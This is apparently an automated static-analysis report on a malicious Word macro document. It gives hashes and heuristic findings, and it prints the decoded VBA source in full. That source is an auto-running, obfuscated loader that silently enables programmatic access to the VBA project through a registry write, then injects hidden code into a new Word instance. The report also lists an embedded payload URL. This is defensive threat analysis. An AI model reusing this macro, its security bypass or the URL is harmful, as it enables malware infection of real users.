Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2eec6bd5c506160f…

MALICIOUS

Office (OOXML)

100.7 KB Created: 2021-04-28 05:09:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: c1a5ea0f5f4ed22d7b8ca2d40f17f15c SHA-1: 4db2eca0e0c5a6ac995897a8037f0280b3722e6d SHA-256: 2eec6bd5c506160f80c79934aaaf5cb423d7e1136526b357c84cdaf4f7abdecd
130 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    swapPtr.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString tmpResponse
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set pasteLeft = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://2000-mclaughlin-rentals.com/bijol/60718/s6It7dOe8hqHJay/62424/laka8?search=cF&time=5RK3TG06xhEwZdpDI In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2930 bytes
SHA-256: 65198b53244ffd6bdc9346a813ebfe712d8e468b4a16cac994411e3de365efd1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{ECB2B526-62E6-4702-8C07-1C02B8917D1C}{42883D28-9D39-4DFA-B738-81A372C6C72F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "windowMainRequest"
Sub autoopen()
counterMem
Dim refIterator As String
refIterator = listboxCaptionNamespace
bufCaption refIterator
End Sub

Attribute VB_Name = "deleteRemove"
Function memoryVariableMem(arraySelectRemove As String) As Variant
Dim pasteLeft As Object
Dim buttonTextboxPointer As Object
Set pasteLeft = CreateObject("msxml2.domdocument")
Set buttonTextboxPointer = pasteLeft.createElement("code")
buttonTextboxPointer.DataType = "bin.base64"
buttonTextboxPointer.Text = arraySelectRemove
memoryVariableMem = buttonTextboxPointer.nodeTypedValue
End Function
Function bufferRequestArray(mainBufLink, tableRepoEx)
bufferRequestArray = StrConv(mainBufLink, tableRepoEx)
End Function

Attribute VB_Name = "removeListboxSelect"
Sub bufCaption(tmpResponse As String)
Set ptrReferenceConst = CreateObject("word.application")
Set swapPtr = ptrReferenceConst.Documents.Add
swapPtr.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString tmpResponse
ptrReferenceConst.Visible = False
ptrReferenceConst.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "valueTmpTemp"
Function dataLocalResponse() As String
dataLocalResponse = Application.Version
End Function
Function storageA()
storageA = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function clearRef()
clearRef = "cript.sh"
End Function
Function bufferPtrSize()
bufferPtrSize = "VjdXJpdHlcQWN"
End Function
Sub counterMem()
classPtr = bufferRequestArray(memoryVariableMem("SEtFWV9DVVJSR" & storageA & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
bufferValue = dataLocalResponse
screenReference = bufferRequestArray(memoryVariableMem("XFdvcmRcU2" & bufferPtrSize & "jZXNzVkJPTQ=="), vbUnicode)
variableRef = classPtr & bufferValue & screenReference
With CreateObject("ws" & clearRef & "ell")
.RegWrite variableRef, 1, "REG_DWORD"
End With
End Sub
Public Function varMain(ByVal documentVariable As String) As String
For repoTextGeneric = 1 To Len(documentVariable) Step 2
convertLeft = Chr$(Val("&H" & Mid$(documentVariable, repoTextGeneric, 2)))
windowConstClear = windowConstClear & convertLeft
Next repoTextGeneric
varMain = windowConstClear
End Function
Function listboxCaptionNamespace()
listboxCaptionNamespace = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: 0e01ab1dd25632bc60042e89345dd903e26b5cbf10f17ac2e2978f5215528c2c